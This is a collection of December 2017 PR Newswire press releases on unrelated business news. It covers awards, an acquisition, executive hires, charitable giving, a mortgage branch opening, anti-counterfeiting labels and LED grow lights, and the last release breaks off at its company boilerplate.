NEW YORK, Dec. 19, 2017 /PRNewswire/ -- Dr. Eileen DiFrancesco is the Owner & Founder of DiFrancesco Psychiatry. She was just recently selected as Top Female Professional of the Year for 2018 and Medical Doctor of the Year in Psychiatry & Neurology for 2017, by the International Association of Top Professionals (IAOTP). She was honored at their annual award gala this past weekend held at the Ritz Carlton in Battery Park.

Dr. Eileen DiFrancesco selected as Top Female Professional of the Year by the International Association of Top Professionals (IAOTP).

With her extensive training and clinical experience treating a wide variety of psychiatric conditions, Dr. DiFrancesco has certainly proven herself as an accomplished professional and expert in the field. As a dynamic, results-driven leader, she has demonstrated success honing her expertise in Psychiatry, Psychopharmacology & Neurology. With her diverse background and experience Dr. DiFrancesco has been able to treat a wide variety of patients with complex conditions utilizing a combination of medication and therapy.

She has worked in many different areas in the mental health field, including community psychiatry, inpatient psychiatry, addiction medicine, clinical research and private practice. Having her own private practice on the Upper East Side of Manhattan in NY, she is able to provide initial and ongoing care for her patients who suffer with Anxiety, Depression, Bipolar, Obsessive Compulsive, Sleep, eating and Addictive Disorders.

Dr. DiFrancesco offers consultative services through which she provides a complete analysis of patient's brain health to help minimize the effects of both genetic and environmentally induced mental illnesses. Her philosophy is that a healthy brain is key for well-being, balance and optimal functioning. Making an accurate diagnosis is the most important first step in treating patients.

Before opening her private practice, Dr. DiFrancesco held concurrent appointments at Rockefeller University, Cornell and New York Hospitals. There her key responsibilities were in treating both drug and alcohol addiction and assessing patients for entry in clinical research. Her diagnostic skills were also utilized at the Mount Sinai School of Medicine where she assessed psychotic adolescents for Schizophrenia treatment and eligibility for research protocols.

Throughout her illustrious career, Dr. DiFrancesco has remained active in her community and has received numerous awards and accolades for her outstanding leadership and commitment to the profession.

For more information on Dr. DiFrancesco please visit: http://difrancescopsychiatry.com/

Watch her video: https://www.youtube.com/watch?v=3mghELH7iCI

Contact: Stephanie Cirami, 212-634-4427

SOURCE IAOTP

Related Links

http://iaotp.com


A number of major airlines have announced that starting January 15, 2018 they will require passengers checking luggage to remove the lithium ion batteries installed in "smart bags" to reduce the risk of fire in the cargo hold. If the bag will be traveling in the cabin, the battery can remain installed as long as it is powered off.

Exclusive to eBags, the Samsonite Spinner Underseater with USB Port tucks neatly under your seat, has smart pockets for your traveling-light essentialsand will charge your phone or tablet. eBags' Lifeboat Quick Charge Portable Battery is removable and sold separately. eBags features airline friendly smart bags by a number of brands including Samsonite, Travelpro, Travelers Club, Raden and Bellino among others.

The eBags Connected Luggage Tag helps lost bags get back safely, while using privacy controls to let customers control which information they display, and when. This year eBags turned to Instagram travel photographers to source fresh new imagery for the tags.

About eBags: With 18 years in the travel goods industry and more than 30 million bags sold, eBags is the leading online retailer of luggage, backpacks and travel-related accessories. The company is devoted to helping its customers find the perfect travel gear for any journey. Ranked a top luggage retailer in 2017 by Consumer Reports, eBags features more than 100,000 products from more than 800 brands including Samsonite, Tumi, Bose, Kenneth Cole, Patagonia, The North Face, PrAna and more. On May 5, 2017, Samsonite International, the global leader in travel luggage, completed its acquisition of eBags.com, Inc., making eBags a wholly owned subsidiary of Samsonite International.

SOURCE eBags

Related Links

http://www.ebags.com


WALLINGFORD, Conn., Dec. 19, 2017 /PRNewswire/ -- Tariq Farid, who created and grew a single Edible Arrangements store into the world's largest franchisor of shops offering creatively designed fresh cut fruit arrangements and all-natural, fresh fruit snacks and treats, will be named to the IFA Hall of Fame, the Association's highest honor. Farid will be inducted into the Hall of Fame on Sunday, February 11, 2018 during the IFA Annual Convention in Phoenix.

"It is a tremendous and humbling honor," said Farid. "When I opened the first Edible Arrangements store I never expected that someday there would be locations around the world. Franchising and our remarkable franchisees made that possible and this recognition belongs just as much to them, my family and everyone at the home office that has been so important to our growth over the years."

Established in 1979, the IFA Hall of Fame is the oldest and most prestigious award in the franchising industry and is presented to an IFA member, past or present, who exemplifies excellence in franchising and has also contributed significantly to the advancement of the franchise community. Past recipients include a "Who's Who" of entrepreneurs and business leaders that have built some of the world's most well-known brands, such as fellow Connecticut-based franchisor Fred DeLuca of Subway, inducted in 2004.

An outstanding example of the American Dream, Farid's entrepreneurial career began at an early age. Farid immigrated from Pakistan with his family when he was 11 and worked several jobs growing up. At age 17, with a $5,000 loan from family and friends, Farid purchased a flower shop and within two years he was operating four highly successful stores.

It was during this time that Farid was inspired to begin creating arrangements out of fresh fruit. In1999 he opened the first Edible Arrangements store in East Haven, Conn. Less than two years after opening the store a customer from out of town asked if he had ever thought about franchising. Farid wasn't familiar with the concept but after researching the business model and seeking advice from some of the most well-known names in franchising, he decided it was the best way to grow the business. The first franchise location soon followed, opening in 2001 in Waltham, Mass. and today there are more than 1,300 locations in 11 countries.

"We are honored to induct Tariq into the IFA Hall of Fame," said IFA President & CEO Robert Cresanti. "This is a well-deserved award as Tariq has been a strong supporter of franchising over the years and a global leader who has made significant contributions to the growth and sustainability to the franchise business model the U.S. and around the world."

ABOUT EDIBLE ARRANGEMENTS:

With more than 1,300 franchise locations open or under development worldwide, Edible Arrangements International, LLC is the world's largest franchisor of shops offering creatively designed fresh cut fruit arrangements. Edible Arrangements store locations also carry the company's rapidly expanding Edible To Go line which features all-natural, fresh fruit smoothies, chocolate Dipped Fruit, Froyo Fruit Blends, fresh fruit salads, parfaits, and treats. Since its founding in 1999 in East Haven, Conn., the company has been recognized as an industry leader, ranking first in its category in Entrepreneur magazine's annual "Franchise 500," Entrepreneur's Top 40 of "Fastest Growing Franchises" and "America's Top Global Franchises" as well as being included among the "Inc. 5000" list of the fastest growing privately-held companies. Edible Arrangements' fresh fruit arrangements, chocolate Dipped Fruit, fresh fruit smoothies, and more can be enjoyed at franchise locations worldwide. Gifts can be ordered online at edible.com, by phone at 1-877-DO-FRUIT, or through any local Edible Arrangements store.

SOURCE Edible Arrangements

Related Links

https://www.ediblearrangements.com


ITC Holdings Corp. and its 670 employees donated $1.6 million to more than 100 organizations across its seven-state footprint in 2017. The nation's largest independent electricity transmission company provides donations and support to organizations that align with ITC's charitable and community interests.

Highlights of ITC's 2017 giving program include:

ITC Michigan:

City Year Detroit's AmeriCorps members including Kristian Rice  known as "Sunshine" to those around her  serve nearly 5,000 students in seven Detroit Public Schools, increasing the ratio of adults to students in the highest-need areas, and providing individualized attention and support. ITC was proud to financially support City Year Detroit, and Kristian, on her yearlong journey as part of the company's commitment to STEM education.

 known as "Sunshine" to those around her  serve nearly 5,000 students in seven Public Schools, increasing the ratio of adults to students in the highest-need areas, and providing individualized attention and support. ITC was proud to financially support City Year Detroit, and Kristian, on her yearlong journey as part of the company's commitment to STEM education. More than 250 neighbors sat down to a locally-grown outdoor community meal in Grand Rapids on a beautiful fall day to explore their differences and similarities, food traditions of different cultures and healthy food access in the Heartside Park community. The meal was the culmination of months of educational programming offered by the Urban Institute for Contemporary Arts (UICA), which received financial support from ITC. 'The Heartside Community Meal,' part of UICA's Cultivate exhibition, earned a juried grand prize award at the ninth annual ArtPrize competition, one of the highest attended public art events in the world.

ITC Midwest:

The Iowa Paralyzed Veterans of America received support from ITC employees to purchase another Action Trackchair  an all-terrain chair which enables paralyzed veterans to pursue hunting, fishing and other outdoor activities. To date, ITC has purchased three track chairs for the chapter, the latest going to U.S. Army veteran Dan Alberts , a lifelong outdoorsman who will return to his love of ice fishing this winter. ITC employees have now provided 10 track chairs in recent years for paralyzed veterans in Iowa , Michigan , Kansas and Oklahoma .

, a lifelong outdoorsman who will return to his love of ice fishing this winter. ITC employees have now provided 10 track chairs in recent years for paralyzed veterans in , , and . Cedar Valley Habitat for Humanity (CVHFH) builds and rehabilitates simple, decent and affordable homes in partnership with families in need in Linn and Benton counties in Iowa . Partner families make a down payment, invest hundreds of hours of sweat equity into the construction of their homes and other Habitat homes, and make monthly mortgage payments on a zero-interest loan. ITC has partnered with CVHFH since 2008 through financial and labor support.

ITC Great Plains:

The wildfires in Kansas , Oklahoma and Texas in March burned more than two million acres of land, killing tens of thousands of cattle and other livestock and changing the lives of families and communities forever. To assist some of the hardest-hit communities in ITC's footprint, the company provided financial support to the Ashland Community Foundation in Kansas and Oklahoma Cattlemen's Foundation in Oklahoma .

In addition to these regional contributions, ITC donated to organizations at the national level such as the American Heart Association and the American Red Cross for hurricane disaster relief. ITC and its parent company, Fortis Inc., also participated in an industry-wide response to restore power to areas of the Caribbean, Southeastern U.S., Texas and Louisiana impacted by the hurricanes.

$6.8 million donated since 2010

Through a charitable giving-focused program, ITC awards grants to qualified 501 (c) (3) organizations focused on social services, education, health and wellness, environmental stewardship, and arts and culture that offer charitable programs in the counties where ITC operates. Sources of ITC's contributions include special grants, individual executives, charitable outings, and casual dress days. Since 2010, ITC has donated more than $6.8 million to nonprofits and communities across its footprint and nationally.

"Making a positive impact on the communities we serve is part of ITC's company culture," said Donna Zalewski, director, Local Government & Community Affairs and Philanthropy, ITC Holdings Corp. "These and other deserving organizations work tirelessly to improve our communities, and we are proud to support each and every one of them."

For more information about ITC's charitable giving program or to apply for a grant, visit http://www.itc-holdings.com/community-approach/philanthropy.

About ITC Holdings Corp.

ITC is the largest independent electricity transmission company in the United States. Based in Novi, Michigan, ITC invests in the electric transmission grid to improve reliability, expand access to markets, allow new generating resources to interconnect to its transmission systems and lower the overall cost of delivered energy. Through its regulated operating subsidiaries ITCTransmission, Michigan Electric Transmission Company, ITC Midwest and ITC Great Plains, ITC owns and operates high-voltage transmission infrastructure in Michigan, Iowa, Minnesota, Illinois, Missouri, Kansas and Oklahoma, and in development in Wisconsin. These systems serve a combined peak load exceeding 26,000 megawatts along approximately 15,800 circuit miles of transmission line, supported by 660 employees and nearly 1,000 contractors across our expanding footprint. ITC's grid development focus includes growth through regulated infrastructure investment as well as domestic and international expansion through merchant and other commercial development opportunities. For further information visit www.itc-holdings.com. ITC is a subsidiary of Fortis Inc. (TSX/NYSE: FTS), a leader in the North American regulated electric and gas utility industry. For further information visit www.fortisinc.com.

SOURCE ITC Holdings Corp.

Related Links

http://www.itc-holdings.com


PITTSBURGH, Dec. 19, 2017 /PRNewswire/ -- Elisco's Creative Cafe, an advertising agency located in Lawrenceville, has gained three new healthcare clients: Solevo Wellness, LIFE Pittsburgh and HealPros.

Solevo Wellness is a medical marijuana dispensary based in Pittsburgh, PA, dedicated to providing medical marijuana relief solutions for Pennsylvanians certified with serious medical conditions. Elisco developed the Solevo name, logo, brand identity, sales materials, and promotional video. The agency also handles public relations for the brand.

LIFE Pittsburgh is a local, nonprofit organization that is part of the national PACE Association and provides comprehensive care to elderly seniors who may not otherwise be able to live independently at home. Elisco has rebranded LIFE Pittsburgh, and developed a new logo and corporate identity. The agency is handling creative and media placement to increase participants at LIFE Pittsburgh.

HealPros was created to address the unmet needs of health plans and health systems to bring non-compliant patient populations into compliance for critical diagnostic care. The agency designed a trade-show exhibit and is redesigning the HealPros website, in addition to other marketing materials.

John Elisco, President and Creative Director at Elisco said, "We're proud to be working with these community-oriented companies that make a meaningful difference in improving the quality of life for their patients and members."

About Elisco's Creative Cafe

At Elisco, we have a passion for original thinking, service, and food, so we decided to combine what we love into a new kind of venue: a cafe-like setting where we serve fresh ideas daily and lunch periodically. The cafe's house specialty is launching new products, services, and companies for Healthcare, Financial, and Food & Beverage organizations. For more information, visit www.elisco.com.

SOURCE Elisco's Creative Cafe

Related Links

http://www.elisco.com


Acquisition Expands Product Portfolio For The Public Safety & Utilities Sectors

MARKHAM, ON and BRONDBY, Denmark, Dec. 19, 2017 /PRNewswire/ - Enghouse Systems Limited (TSX:ENGH) announced today it has acquired SimaTech A/S of Denmark.

Headquartered in Brondby (near Copenhagen), SimaTech provides products and solutions for the law enforcement, fire and rescue, control room and utilities sectors. SimaTech's turn-by-turn navigation, fleet, asset, and incident management systems focus on bridging cross jurisdictional boundaries and enhanced interoperability and are the preferred choice of the Danish public safety industry.

"With over 40 customers predominantly in the Public Safety and Utilities sectors, SimaTech's solutions and market focus further expand our Public Safety vision and complement our existing solutions," said Brad Cameron, General Manager, Enghouse Transportation. "We are very pleased to welcome SimaTech's customers and employees to the Enghouse Transportation organization."

About Enghouse Systems Limited

Enghouse Systems Limited is a leading global provider of enterprise software solutions serving a variety of vertical markets. Its strategy is to build a more diverse enterprise software company through strategic acquisitions and managed growth within its business sectors: Contact Center, Networks (OSS/BSS) and Transportation/Public Safety. Enghouse shares are listed on the Toronto Stock Exchange (TSX:ENGH). Further information about Enghouse is available at www.enghouse.com.

About SimaTech

SimaTech is a software company working with technologies, developing and marketing proprietary software products and solutions within the field of task and resource management, fleet management and mobile information and navigation systems. Our product portfolio has evolved from an information system for mobile employees, to include complete task and resource management solutions for the Public Safety and Utilities sectors.

SOURCE Enghouse Systems Limited

Related Links

http://www.enghouse.com


CHICAGO, Dec. 19, 2017 /PRNewswire/ -- Hireology, the nation's leading integrated hiring and talent management platform, was recently ranked No. 111 on Entrepreneur magazine's 2017 Entrepreneur 360 list. This is the company's second consecutive year making the list, which recognizes well-rounded companies that have mastered a balance of impact, innovation, growth and leadership.

The Entrepreneur 360 Performance Index studied companies that exemplify sustained growth, in order to gain a multidimensional perspective on entrepreneurship today. By taking a 360-degree view of U.S. businesses and examining how they have attained lasting success over multiple years, the study aims to recognize businesses that are achieving what Entrepreneur refers to as the "never-ending betterment" essential to long-term growth in a constantly evolving world.

"Entrepreneur 360's recognition of impact, innovation, growth and leadership parallels the company we've built and the products we create for our clients. Our team is constantly researching and adapting to changes within the hiring landscape, enabling us to offer the most up-to-date and useful products to business owners," said Adam Robinson, co-founder and CEO of Hireology. "We're honored and thrilled to be continually recognized as a top business in America alongside such esteemed companies."

More than 4,500 companies use Hireology to build their best teams. Hireology provides small to medium-sized businesses with the tools and technology needed to manage the full employee lifecycle  from hire to retire  in one seamless platform. At its core, Hireology helps businesses follow a proven hiring process to drive quality candidates to open roles, and streamline payroll and talent management in one centralized platform. The company's growth is evidence of the framework's success. Hireology has enjoyed breakthrough growth with revenue up 78% through November and surpassed 3.5 million applicants processed through the platform, which has more than 10,000 active users.

"Our annual evaluation offers a 360-degree analysis of the current private-business landscape," explains Lisa Murray, Chief Insights Officer of Entrepreneur Media, Inc. "Top performers are determined by how well-rounded they are in these four key operative areas. Entrepreneurship is a complex endeavorthis listing recognizes those who have mastered the challenge and are thriving this year."

Honorees were identified based on the results from a comprehensive study of independently-owned companies, using a proprietary algorithm and other advanced analytics. The algorithm was built on a balanced scorecard designed to measure four metrics reflecting major pillars of entrepreneurshipinnovation, growth, leadership and impact.

The Entrepreneur 360 list is featured online at entrepreneur.com/360companies.

ABOUT HIREOLOGY

Hireology's integrated hiring and talent management platform empowers multi-location, owner-operated, and independently owned businesses to build their best teams with confidence. The company equips teams with the skills and technology needed to manage the full employee lifecycle  from hire to retire  in one seamless platform. With focused expertise across several industries  including automotive, fitness & wellness, education, healthcare, and professional services  more than 4,500 businesses today trust Hireology to help build great teams, lift customer service and drive profitability. For more information, visit www.hireology.com.

ABOUT ENTREPRENEUR MEDIA INC.

For nearly 40 years, Entrepreneur Media Inc. has been serving the entrepreneurial community providing comprehensive coverage of business and personal success through original content and events. Entrepreneur magazine, Entrepreneur.com, and publishing imprint Entrepreneur Press provide solutions, information, inspiration and education read by millions of entrepreneurs and small business owners worldwide. To learn more, visit www.entrepreneur.com.

SOURCE Hireology

Related Links

http://hireology.com


"Embracing culture to define strategy requires marketers and PR pros to approach their work with an audience-first lens," Etched CEO and founder Toni Harrison said. "Many hold the belief that understanding race and ethnicity is vital to producing compelling campaigns, but that only scratches the surface. It is our culture and environment that inspires how we think, act and choose which brands to interact with."

Based in Houston with an office in Chicago, the minority and woman-owned agency addresses the industry's need for creative strategies that go beyond traditional demographics to embrace the cultural intricacies and nuances that influence consumer behavior, such as lifestyle preferences, personal motivators and technology use.

As a result of leveraging culture to help clients establish purposeful connections with their target audiences, the agency took home top honors in award categories including brand reputation management, media relations and community engagement.

"The Etched team has made it a priority to embrace our values, understand the people we serve and champion the importance of the work we do," Souper Bowl of Caring Board Director Judith Craven said. "Their strategic, hands-on approach makes a visible difference and will empower our mission to eliminate hunger across the nation. Etched is an invaluable extension of our team, and we are happy to celebrate their accolades with them."

Award wins across Etched's diverse client roster included work in the government, non-profit and spirit industries with activations in Houston, Chicago and Denver. For example, in the Houston Gulf Coast region, the vehicle-dependent, commuter culture inspired an insight-driven strategy for the Houston-Galveston Area Council. Etched surpassed client benchmarks with an approach encompassing comprehensive news management, digital engagement and influencer relations to motivate alternative transit use and improve the region's mobility.

With a deep understanding of Chicago's elusive media landscape and vocal civic community, Etched propelled education non-profit City Year Chicago to the forefront of relevant news and social conversations while generating support from lawmakers, community advocates and volunteers. Aggressive and precise media relations landed the client front page coverage in the Chicago Tribune, Associated Press wire placements, television stories and regular byline features for the new executive team.

Blue Moon Brewing Company faced a mixed bag of community responses when it relocated its brewery to the thriving, artistic River North Art District in Denver. Etched was entrusted with positioning Blue Moon as a valued neighbor in its new home. Insights, which revealed a nearby underpass that was an eyesore for the community, inspired Etched to forage partnerships with respected non-profits and artists to execute an experiential art project to beautify the area. The project was met with over-flowing volunteer registration, broadcast and print media coverage and social buzz that allowed Blue Moon to leave a lasting impact on the community.

After competing amongst some of the longest-established global PR and marketing firms, Etched was recognized by the following professional organizations:

PR News Accolades:

Agency Elite Award Category: Community Relations, Client: City Year Chicago

Agency Elite Honorable Mention Category: Media Relations, Client: City Year Chicago

Agency Elite Honorable Mention Category: Non-Profit, Client: City Year Chicago

Agency Elite Honorable Mention Category: Community Relations Client: Blue Moon Brewing Company

Public Relations Society of America:

PRSA Houston Excalibur Silver Award Category: Reputation Management, Client: Blue Moon

PRSA Houston Excalibur Bronze Award Category: Community Relations, Client: H-GAC

PRSA Chicago Skyline Award Category: Non-Profit Media Relations. Client: City Year Chicago

American Marketing Association:

Crystal Award Finalist Category: Public Relations Campaign- Single Market, Client: Blue Moon Brewing Company

ABOUT ETCHED COMMUNICATION:

Etched Communication, is a creative, integrated communication agency with the encompassing expertise of a global firm and the personal interaction and tailored approach of a boutique agency. Armed with a flexible approach, matchless expertise and endless curiosity and ingenuity, Etched strategically creates and executes comprehensive strategies that not only demand recognition, but leave a lasting impact. Connect with Etched Communication on LinkedIn or @etchedaffect on Instagram, Twitter and Facebook.

Contact:

Sunita Dharani, Etched Communication

[email protected]

832-462-0782

SOURCE Etched Communication

Related Links

http://www.etchedcomm.com


SOMERVILLE, Mass., Dec. 19, 2017 /PRNewswire/ -- Evergage, the real-time personalization platform company, today announced the appointment of Cliff Lyon as vice president of engineering. With more than two decades of experience in engineering and technical leadership  including a focus on personalization, targeting and recommendation systems  Lyon will work closely with Evergage's CTO and co-founder Greg Hinkle to support and scale the engineering organization. Lyon will also oversee research and development, technical engineering, and Evergage's product management and planning process.

"Delivering true real-time, 1:1 personalization for a range of diverse industries  and doing it on a massive scale  is an exciting technical challenge that our engineering team has worked hard to solve," Hinkle said. "As our customers embrace the benefits of advanced personalization, Cliff's background and expertise in machine learning and artificial intelligence will help us accelerate platform innovation and development."

Lyon will report directly to Hinkle and be based out of Evergage's headquarters in Somerville. Before joining Evergage, Lyon spent the last 20 years in technical roles in software engineering, data warehouse infrastructure and personalization technology. Prior positions include head of technology recommender systems at StubHub, senior director of personalization and targeting for CBS Interactive, and director of personalization and targeting at CNET Networks. Most recently, he served as CTO and technical co-founder of Pylon ai, Inc., an artificial intelligence company that builds custom experiences for Amazon Echo and Google Home. Lyon earned a Master of Liberal Arts in information technology from Harvard Extension School and a Bachelor of Arts in music from Wesleyan University.

"After working on standalone enterprise solutions for personalization, recommendations and multivariate testing, I am very excited to join Evergage," Lyon said. "What really impresses me is how the company has been able to deliver these capabilities in a single, unified platform. It represents great engineering  which, of course, is great for customers  and Evergage's success to date clearly demonstrates the power and potential of 1:1 personalization. I'm happy to be part of the team that is turning the 1:1 vision into reality."

The expansion of Evergage's engineering leadership team builds on a year of strong momentum for the company  including a Series C funding round and honors in the CODiE Awards, Stevie American Business Awards, Best in Biz Awards and more. Last month, Evergage published the 175-page book and well-received industry guide "One-to-One Personalization in the Age of Machine Learning," co-authored by Evergage CEO and co-founder Karl Wirth. For more news and information, please see www.evergage.com/newsroom.

About Evergage

Only Evergage's real-time personalization platform delivers The Power of 1, enabling digital marketers to transform the dream of 1:1 customer engagement across channels into reality. Combining in-depth behavioral analytics, a full customer data platform and advanced machine learning, Evergage provides the one solution you need to systematically understand and interact with each person that visits your site or uses your app  one at a time, "in the moment" and at scale  to deliver a maximally relevant, individualized experience. Evergage's powerful and flexible cloud-based platform delivers real-time personalization to billions of web visitors, improving revenue growth, demand generation and customer success for leading organizations across industries, including Lenovo, Endurance International Group, Intuit, Publishers Clearing House, Rue La La and Zumiez. Evergage is a CODiE Award winner and a three-time winner in the Stevie American Business Awards, Golden Bridge Awards and Best in Biz Awards. For more information, visit http://evergage.com or contact the company at [email protected] or 1-888-310-0589.

Media Contact:

Paula Crerar

Email: [email protected]

Phone: 1-888-310-0589

SOURCE Evergage

Related Links

http://www.evergage.com


HONOLULU, Dec. 19, 2017 /PRNewswire/ -- Fairway Independent Mortgage Corporation has announced the opening of a new branch in Honolulu. The branch will be led by residential lending veterans Art Yamamoto (NMLS #387013) and Regan Onikama (NMLS #349769).

"As a mortgage lending company, Fairway provides all of the tools we need to give our clients a simple, rewarding home loan experience," said Art Yamamoto, Fairway co-branch manager. "What really sets us apart from other lenders is the speed and efficiency in which we can get things done. We can close a loan in as little as 10 days if need be. Right now, our average time it takes to be ready to close is just under 30 days."

With a presence in all 50 states, Fairway has built its brand on the motto of "National Strength, Hometown Service." Fairway's Kapiolani Branch will offer conventional, government, and portfolio loans to potential buyers or homeowners looking to refinance.

"Buying a home is one of the most important decisions our clients will make in their lives," said Onikama, co-branch manager of Fairway's Kapiolani Branch. "As the millennial generation continues to gain more buying power, technology needs to be at the forefront of the home-buying experience, including the important mortgage part of the purchase. Our clients appreciate the control they have in the lending process and the ability to access their information at anytime from anywhere."

Onikama first started his career in residential lending in 1999 when he worked as a loan officer under Yamamoto, a manager at the time. Since that time, both have achieved significant success in the industry.

Seeing an opportunity to leverage their more than 40 years of experience to service the needs of buyers in Hawaii's sizzling real estate market, the two joined Fairway to open a Honolulu branch of Fairway Independent Mortgage Corporation.

More about Fairway Independent Mortgage Corporation

Founded in 1996 by Steve Jacobson, and named by a childhood best friend, colleague and forever member of the Fairway family, Randy Cross, Fairway Independent Mortgage Corporation is a mortgage lender headquartered in Madison, Wisconsin and Carrollton, Texas. The company has more than 400 locations and over 6,000 employees nationwide. At Fairway, customer service is a way of life. Not only are we dedicated to finding great loan products and rates for our customers, we also offer some of the fastest turn times in the industry. Our goal is to act as a trusted advisor, providing highly personalized service and helping clients through every step of the loan process. It's all designed to exceed expectations, guarantee satisfaction and earn trust.

For more information, please visit our website at www.FairwayIndependentMC.com.

SOURCE Fairway Independent Mortgage Corporation

Related Links

http://www.fairwayindependentmc.com


Originating from Federal-Mogul Motorparts' manufacturing facility in Skokie, Ill., the cartons include automated authentication package labels, offering an easy way to confirm that the product is genuine anywhere in the world. Known as SmartAuthentication, this track-and-trace feature uses the product's serial number to locate it along the distribution channel, while a mobile app enables customs officials to quickly and easily authenticate each product.

For end customers, it is easy to determine if your FP Diesel product is authentic by using the SmartAuthentication Data Metric code that can be read via scanner or through your smartphone. (Apps are available for download for Android, Apple, Blackberry and Windows devices.) Additionally, the unique alphanumeric validation code on the product label can be entered on the website for validation.

"Protecting the integrity of the FP Diesel brand is imperative for the success of Federal-Mogul Motorparts and each of our channel partners and engine professionals who rely on our world-class products," said Max Faistenhammer, manager, brand protection and security. "The brand protection labeling features combine overt, covert and forensic levels of security allowing, customers to quickly verify that the product they are installing is a genuine FP Diesel part."

The FP Diesel product line includes: in-frame and complete engine overhaul kits, engine bearings, liners, connecting rods, gaskets and gasket sets, valves and valve train components, camshafts, oil pumps, turbocharger components, fuel system parts, and more.



To learn more about Federal-Mogul Motorparts' anti-counterfeiting program, visit http://www.fmheavydutyparts.com/products/fp-diesel-engine/verify-your-fp-diesel-parts.html. For more information about FP Diesel, visit http://www.fmheavydutyparts.com/brands/fp-diesel.html.

About Federal-Mogul

Federal-Mogul LLC is a leading global supplier of products and services to the world's manufacturers and servicers of vehicles and equipment in the automotive, light, medium and heavy-duty commercial, marine, rail, aerospace, power generation and industrial markets. The company's products and services enable improved fuel economy, reduced emissions and enhanced vehicle safety.



Federal-Mogul operates two independent business divisions, each with a chief executive officer reporting to Federal-Mogul's Board of Directors.



Federal-Mogul Motorparts sells and distributes a broad portfolio of products through more than 20 of the world's most recognized brands in the global vehicle aftermarket, while also serving original equipment vehicle manufacturers with products including braking, wipers and a range of chassis components. The company's aftermarket brands include ANCO wipers; Beck/Arnley premium OE quality parts and fluids; BERU* ignition systems; Champion lighting, spark plugs, wipers and filters; Interfil filters; AE, Fel-Pro, FP Diesel, Goetze, Glyco, Nural, Payen and Sealed Power engine products; MOOG chassis components; and Ferodo, Jurid and Wagner brake products and lighting.

Federal-Mogul Powertrain designs and manufactures original equipment powertrain components and systems protection products for automotive, heavy-duty, industrial and transport applications.



Federal-Mogul was founded in Detroit in 1899 and maintains its worldwide headquarters in Southfield, Michigan. The company employs nearly 53,000 in 24 countries. For more information, please visit www.FMMotorparts.com.

*BERU is a registered trademark of BorgWarner Ludwigsburg GmbH

CONTACT:

Karen Shulhan (Federal-Mogul Motorparts)  248.354.4383

[email protected]

Drew Shippy (Pinnacle Media)  330.688.3500

[email protected]

SOURCE Federal-Mogul Motorparts
Frank And Oak, the omni-channel men's and women's apparel brand, has selected Centric Software to provide its Product Lifecycle Management (PLM) solution. Centric Software provides the most innovative enterprise solutions to fashion, retail, footwear, outdoor, luxury and consumer goods companies to achieve strategic and operational digital transformation goals.

(Logo: http://mma.prnewswire.com/media/455901/Centric_Software_Logo.jpg )



(Photo: http://mma.prnewswire.com/media/620268/Frank_and_Oak.jpg )



Founded in 2012, Frank And Oak experienced tremendous growth in the past five years and is now a well-established lifestyle brand in North America. The Montreal-based company owns 16 retail locations across Canada including street, mall and pop-up stores. This vertically integrated brand designs, manufactures and sells a curated collection of premium clothing and accessories with new products launched weekly.

In the early days, Frank And Oak used email and document sharing to communicate and build up product ranges. Frederic Boivin, Vice President Merchandising at Frank And Oak, explains that the company has expanded rapidly in the last five years. To support Frank And Oak's future plans, the company undertook a thorough search for a PLM partner.

"In order to reduce time to market, we need to streamline our processes in line with industry best practices and establish a collaborative platform for our teams," says Boivin. "Centric PLM will allow greater collaboration between internal teams and external partners. Our objective is to have a single source of information to enhance efficient communication and maximize accuracy."

Boivin continues, "Frank And Oak is really focused on offering a product of great quality at a good price. Centric will help by giving our teams the ability to collaborate more efficiently to streamline product development while ensuring fit and quality. We will be able to continue developing products at the best quality to price ratio."

"Centric PLM is easy to use, easy to learn and we know it will grow and adapt with us. So far, we have found Centric to be professional, knowledgeable and supportive, and we are looking forward to working with them further," adds Boivin.

"We are delighted to welcome Frank And Oak on board as our latest customer in Canada," says Chris Groves, President and CEO of Centric Software. "Even as a young company, Frank And Oak have already established a strong product identity and a loyal following. We look forward to supporting their ambitions and to partnering with them into the future."

Frank And Oak (http://www.frankandoak.com)

Offering style and advice for the moments that matter, Frank And Oak is a destination for customers who want to live and dress well. By coupling considered product design with advice through immersive digital, in-store and content experiences, Frank And Oak has transcended its role as a retailer and is redefining the shopping experience. Constantly evolving and looking towards the future, Frank And Oak offers premium design and world class customer service to its growing ranks of members. You can experience the Frank And Oak brand through frankandoak.com, shipping to over 40 countries worldwide and 14 Frank And Oak stores across North America.

Centric Software ( http://www.centricsoftware.com )

From its headquarters in Silicon Valley and offices in trend capitals around the world, Centric Software provides a Digital Transformation Platform for the most prestigious names in fashion, retail, footwear, luxury, outdoor and consumer goods. Centric Visual Innovation Platform (VIP) is a visual, fully digital collection of boards for touch-based devices like iPad, iPhone and large-scale, touch-screen televisions. Centric VIP transforms decision making and automates execution to truly collapse time to market and distance to trend. Centric's flagship product lifecycle management (PLM) platform, Centric 8, delivers enterprise-class merchandise planning, product development, sourcing, business planning, quality, and collection management functionality tailored for fast-moving consumer industries. Centric SMB packages extended PLM including innovative technology and key industry learnings tailored for small businesses.

Centric Software has received multiple industry awards, including the Frost & Sullivan Global Product Differentiation Excellence Award in Retail, Fashion, and Apparel PLM in 2016 and Frost & Sullivan's Global Retail, Fashion, and Apparel PLM Product Differentiation Excellence Award in 2012. Red Herring named Centric to its Top 100 Global list in 2013, 2015, and 2016.

Centric is a registered trademark of Centric Software. All other brands and product names may be trademarks of their respective owners.

SOURCE Centric Software
VANCOUVER, British Columbia, December 19, 2017 /PRNewswire/ --

Future Farm Technologies Inc. (the "Company" or "Future Farm") (CSE: FFT) (CSE: FFT.CN)(OTCQB: FFRMF) is pleased to announce that its LED Canada division delivered its Scorpion grow lights to a Washington State licensed cannabis grower and Puget Sound Energy customer. The grower worked with LED Canada to gain access to Puget Sound's money saving rebate program, which will save the grower as much as 50% on his energy bill for using LED Canada grow lights.

"This is a major milestone for Future Farm and its Scorpion grow lights," comments Scott McDermid, LED Canada's manager. "Some of the largest growers in Washington State are finding the Scorpion grow lights to be the best grow lights in the industry." Mr. McDermid continues, "The Company will also be launching an all-in-one home cultivation system using the same Scorpion LED lights for the Canadian market, which is expected to go recreational by July 2018." Under the proposed law, Canadians of legal age will be allowed to grow up to four marijuana plants for their own consumption.

Commercial growers in Washington State have the ability to cut their power bills in half with the use of LEDs and by earning utility rebates for installation.

"Using LEDs is an investment that pays multiple dividends," comments Bill Gildea, CEO of Future Farm. "Growers use roughly half the energy of those growers who use traditional lighting, but LEDs also help lower their cooling bills, a necessity due to the high heat out-put by traditional sodium lights. LEDs are coming on strong in the market right now, and we see a lot of growth potential."

On behalf of the Board,

Future Farm Technologies Inc.

William Gildea, CEO & Chairman

About Future Farm

